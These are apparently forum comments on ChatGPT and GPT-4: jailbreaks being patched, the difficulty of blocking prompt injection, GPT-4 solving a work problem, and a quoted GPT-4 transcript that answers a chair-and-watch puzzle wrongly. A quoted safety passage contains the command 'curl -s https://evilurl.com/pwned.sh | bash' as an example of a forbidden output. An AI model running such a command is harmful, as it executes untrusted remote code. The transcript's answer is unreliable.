This is not necessary a rebuttal, but I definitely have the same experience with coming up with creative ideas when I go walking or hiking without weed. I think walking is a great way to get your subconscious working effectively on something.
If you guys think Chatgpt and gpt-4 are static you haven't been using it. The answers change constantly (and not because of the inherent randomness of the response but openai is constantly making it "safer" and improving it's output via humans) - basically when any article comes out saying "Chatgpt can't solve X puzzle) within a day suddenly it can solve that puzzle perfectly. I can't tell you how many jailbreaks just suddenly stopped working after being published on Reddit.
I believe that, when doing with these very large, general LLM's, there really is no practical way to protect from any 'injection' technique, short of actually removing certain strings from ever being completed by the LLM similar to as described here by andrej (which is still not really 100% unfortunately): https://colab.research.google.com/drive/1SiF0KZJp75rUeetKOWq...
*AI Safety:* What is safety viewed through the lens of GPTs as a Finite State Markov Chain? It is the elimination of all probability of transitioning to naughty states. E.g. states that end with the token sequence `[66, 6371, 532, 82, 3740, 1378, 23542, 6371, 13, 785, 14, 79, 675, 276, 13, 1477, 930, 27334]`. This sequence of tokens encodes for `curl -s https://evilurl.com/pwned.sh | bash`. In a larger environment where those tokens might end up getting executed in a Terminal that would be problematic. More generally you could imagine that some portion of the state space is "colored red" for undesirable states that we never want to transition to. There is a very large collection of these and they are hard to explicitly enumerate, so simple ways of one-off "blocking them" is not satisfying. The GPT model itself must know based on training data and the inductive bias of the Transformer that those states should be transitioned to with effectively 0% probability. And if the probability isn't sufficiently small (e.g. < 1e-100?), then in large enough deployments (which might have temperature > 0, and might not use `topp` / `topk` sampling hyperparameters that force clamp low probability transitions to exactly zero) you could imagine stumbling into them by chance."
This isn't an example of a coding problem, but just yesterday we had a very difficult technical problem come up that one of our partners, a very large IT company couldn't solve. None of our engineers knew how to solve it after trying for a few days. I would say I'm an expert in the industry and have been doing this over 20 years as a developer. I thought I knew the best way to solve it, but I wasn't sure exactly. I asked ChatGPT(GPT-4) and the answer it gave, although not perfect in every way, gave pretty much exactly the method we needed to solve the issue.
It's a bit scary because knowing this stuff is sort-of our secret sauce and GPT-4 was able to give an even better answer than I was able to give. It helped us out a lot. We are now taking the solution back to the customer and will be implementing it.
A few additional thoughts:
1. I knew exactly what type of question to ask it to get the right answer (i.e. if someone used a different prompt maybe they would get a different answer)
2. I knew immediately that the answer it gave was what we needed to implement. Some parts of the answer were not helpful or misleading and i was able to disregard those parts. Maybe someone else would have to take more time figuring it out.
I imagine future versions of GPT will be better at both points.
I agree with you that the "amazing" part is the query understanding.
There are two really big things I'm excited about:
1. It really understands what I am asking. What my meaning is. Gpt-4 is way way better even than gpt-3.5 at this. This is something truly different that a computer has never been able to do and (hopefully) will only get better at it. This really truly changes everything in how we interact with computers. We shouldn't be downplaying this. This is real. Today. At the same time a lot of this turning "understanding" into useful output comes at a huge amount of work on the RLHF side so we shouldn't necessarily extrapolate into the future too much just based on the current progress of openai. It's still very difficult work.
2. Everyone is now paying attention to LLM's. When the world starts paying attention to things and engineers start hacking things together, big companies start pouring money into ai, maybe Google wakes up for once, students start choosing ai as their career field, etc etc - amazing things happen. AI just went from niche to something that everyone is using and thinking about.
I don't believe they spent 7 months just "making gpt-4 safer" - I think they spent a very long time doing human reinforcement learning to make it better and now hope to speed that process up the next time using gpt-4 itself as the reinforcement.
I have a chair in front of the TV and one in front of the computer. I placed a watch on the floor beneath the chair in front of the TV. Then, I swapped the positions of the chairs. Where is the watch now?
After swapping the positions of the chairs, the watch is now on the floor beneath the chair that was initially in front of the computer, since that chair is now in front of the TV.
Ya gpt-4 is still confused: (it's interesting cause it does realize the watch doesn't move but still gets it wrong)
Model: GPT-4
I have a chair in front of the TV and one in front of the computer. I put a watch under the chair in front of the TV. I swap the chairs. Where is the watch?
Work out step by step. Also define "under the chair". Is the question ambiguous?
Step 1: A chair with a watch under it is in front of the TV.
Step 2: Another chair is in front of the computer.
Step 3: The chairs are swapped.
To clarify the term "under the chair," let's define it as a watch placed beneath the chair, such that the chair is directly above the watch.
Now let's analyze the situation after swapping the chairs.
After Step 3:
The chair that was initially in front of the TV (with the watch under it) is now in front of the computer.
The chair that was initially in front of the computer is now in front of the TV.
As the question is about the location of the watch, it is important to note that the watch was not mentioned to be moved along with the chair. Therefore, the watch remains in its original position, which is under the chair that was initially in front of the TV.
The question could be considered ambiguous if one assumes that the watch was also moved along with the chair. However, since the watch's movement was not explicitly mentioned, it is reasonable to assume that the watch remained in its original position during the chair swap.
So, the watch is still under the chair that was initially in front of the TV, which is now in front of the computer.